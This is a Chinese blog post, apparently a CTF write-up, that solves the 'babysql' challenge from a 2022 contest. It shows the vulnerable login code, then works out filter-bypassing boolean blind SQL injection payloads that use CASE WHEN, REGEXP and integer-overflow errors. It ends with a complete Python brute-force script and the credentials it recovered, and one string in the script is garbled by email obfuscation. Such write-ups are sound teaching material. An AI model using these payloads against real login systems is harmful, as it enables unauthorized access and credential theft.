yink's studio

yink's world
Stay hungry, stay foolish.
  1. 首页
  2. 比赛
  3. 正文

虎符初赛 部分

2022年3月21日 308点热度 0人点赞 0条评论

全靠队友抬进前20(wjh yyds!

babysql

给了个hint.md

```sql
CREATE TABLE `auth` (
  `id` int NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
```

```js
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';

export class User {
  id: number;
  username: string;
}

function safe(str: string): string {
  const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();
  return r;
}

@Injectable()
export class AuthService {
  constructor(private connectionProvider: ConnectionProvider) {}

  async validateUser(username: string, password: string): Promise<User> | null {
    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
    const user = rows[0];
    if (user && user.password === password) {
      // eslint-disable-next-line @typescript-eslint/no-unused-vars
      const { password, ...result } = user;
      return result;
    }
    return null;
  }
}
```

这道题过滤得有点多,连括号都没了,并且结果不回显,那应该是盲注了

出题人给了个提示,regexp,这个函数常用来盲注,正则匹配,最重要的是这个函数可以不用空格,那这道题肯定是要用这个函数来盲注了

盲注可以参考这篇文章:一篇文章带你深入理解 SQL 盲注 - 安全客,安全资讯平台 (anquanke.com)

无非这么几种:报错注入,布尔盲注,时间盲注

时间盲注不大可行,sleep需要的括号被扬掉了,其他的语句叠加啥的也不是特别靠谱;然后就是报错注入,那需要报错有回显才行,这里服务器只返回状态,不太行,那只剩布尔盲注了,但关键是要怎么找到判断点呢?

布尔盲注最关键的就是让回显不同,服务器只回显401和500,那看来还是要人工制造报错才行,正确执行401,出错500,这就是判断点。

制造报错可以看这篇文章:MYSQL报错注入的一点总结 - 先知社区 (aliyun.com),这里可以用整型溢出来报错,mysql8版本足够高了,用1-~1类似的整型溢出即可,最后我是用的~1+1+1&'1',就是为了符合语法

现在有了制造报错的语句,有了匹配的语句,就差一个条件判断语句(开关)把它们给串起来了。

其实一开始我是想用1/0,不过不报错只是返回NULL,后面想用短路特性,但是显然对短路特性的理解不是很够,把我当时想用的payload贴出来:

SELECT * FROM auth WHERE username='1'or`username`regexp'^a'or'1'&1-~1&'1' LIMIT 1

然后本地测试无论如何都是报整型溢出,无论匹配是否正确,也就是说直接算了后面的数学表达式

经过测试,发现是优先级的问题。数学表达式的计算优先于regexp语句,所以短路特性不成立,短路特性只能在优先级相同的两个语句中成立。所以如果想要使用短路语句,需要在同级语句之间使用,最实用的案例应该就是sleep语句和数学表达式是同级的

那么怎么测试语句之间是否是同级的呢?很简单,交换位置,从结果判断是执行了哪个语句

比如:

extractvalue语句和updatexml语句用or连接时是谁在前面就执行谁,所以它们是同级的

无论是哪一个在前面,最后执行的都是~1+1+2,可见~1+1+2是优先级更高的

看来短路特性是没法用了,回到布尔盲注,由于IF需要逗号,这道题没办法用了。

搜一下MYSQL8 条件判断语句,找到了一个CASE WHEN,看看用法mysql case when then end 和 if判断 常见使用方法_老马历写记的博客-CSDN博客

看来既不需要逗号,还有返回值可以跟后面的引号做闭合。简直完美~

那么写出payload:

username=1'||case'1'when`username`regexp'^q'then'1'else~1+1+1&'1'end='1
password=1

(位运算符号和四则运算就拿来连接,~可以直接跟字母后面,用整型溢出做报错)

成功盲注~

不过还有两个问题:

一个是关于MYSQL的转义字符,正则表达式里面有很多字符是有特殊含义的,所以需要转义,所有要转义的字符戳这里:正则表达式中需要转义的字符 - 云+社区 - 腾讯云 (tencent.com)

不过我们也不知道用户名和密码里面有哪些特殊字符,不着急,可以先用_占位,把一些常用的特殊字符加进去慢慢找,或者直接暴力出奇迹:

import re

for i in range(32,127):
    if not re.search(re.compile("\s|,|\(|\)|#|;|\*|\-"),chr(i)):
        //action

还有,MYSQL正则匹配的时候是要经过两次转义的

详见MySQL 中的反斜杠 \\,真是太坑了!! - SegmentFault 思否,可以本地搭一个环境试试,在字符串语法解析时会进行一次转义,然后在正则匹配的时候又会进行一次转义...

所以说,我们传入的SQL语句,一个特殊字符前面要有两个\才行

接下来是大小写的问题,我们都知道MYSQL查询是大小写不敏感的,所以而比较账号密码的时候又是大小写敏感的,所以会不匹配...

一种方法:直接暴力出奇迹,我的评价是NB

另一种方法:利用校验规则指定大小写敏感

搜一下MYSQL8 查询时指定大小写敏感,会找到关于collate函数的资料,接下来继续了解这个函数,发现与字符集有关,题目中给了sql语句,里面有字符集,搜一下就会知道,在查询的时候指定collate'utf8mb4_0900_as_ci'即可大小写敏感

而且MYSQL8默认大小写敏感,既然查询不敏感那肯定是做了设置

所以说,一个是积累少了,一个是搜索还不够细致和精准,要一个一个可能性去验证

那么最终exp:

import string
import pymysql
import requests
import re

url = "http://47.107.231.226:28192/login"
username = "QaY8TeFYzC67aeoO"
while (1):
    char_set="[email protected]$%^&_+"+string.ascii_letters+string.digits
    for i in char_set:
        if i=='$' or i=='^' or i=='+':
            i="\\\\"+i
        print(i)
        data = {
            'username': "1'||case'1'when`username`regexp'^{}'collate'utf8mb4_0900_as_cs'then'1'else~1+1+1&'1'end='1".format(username + i),
            'password': '1'
        }
        r = requests.post(url=url, data=data)
        print(data)
        if (r.status_code == 401):
            username += i
            print("username:"+username)
            break

密码自己改一下就行,最后的账号密码:

QaY8TeFYzC67aeoO
m52FPlDxYyLB^eIzAr!8gxh$

输入登录,拿到flag~

本作品采用 知识共享署名 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2022年3月22日

yink

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

取消回复

COPYRIGHT © 2021 101.34.164.187. ALL RIGHTS RESERVED.

THEME KRATOS MADE BY VTROIS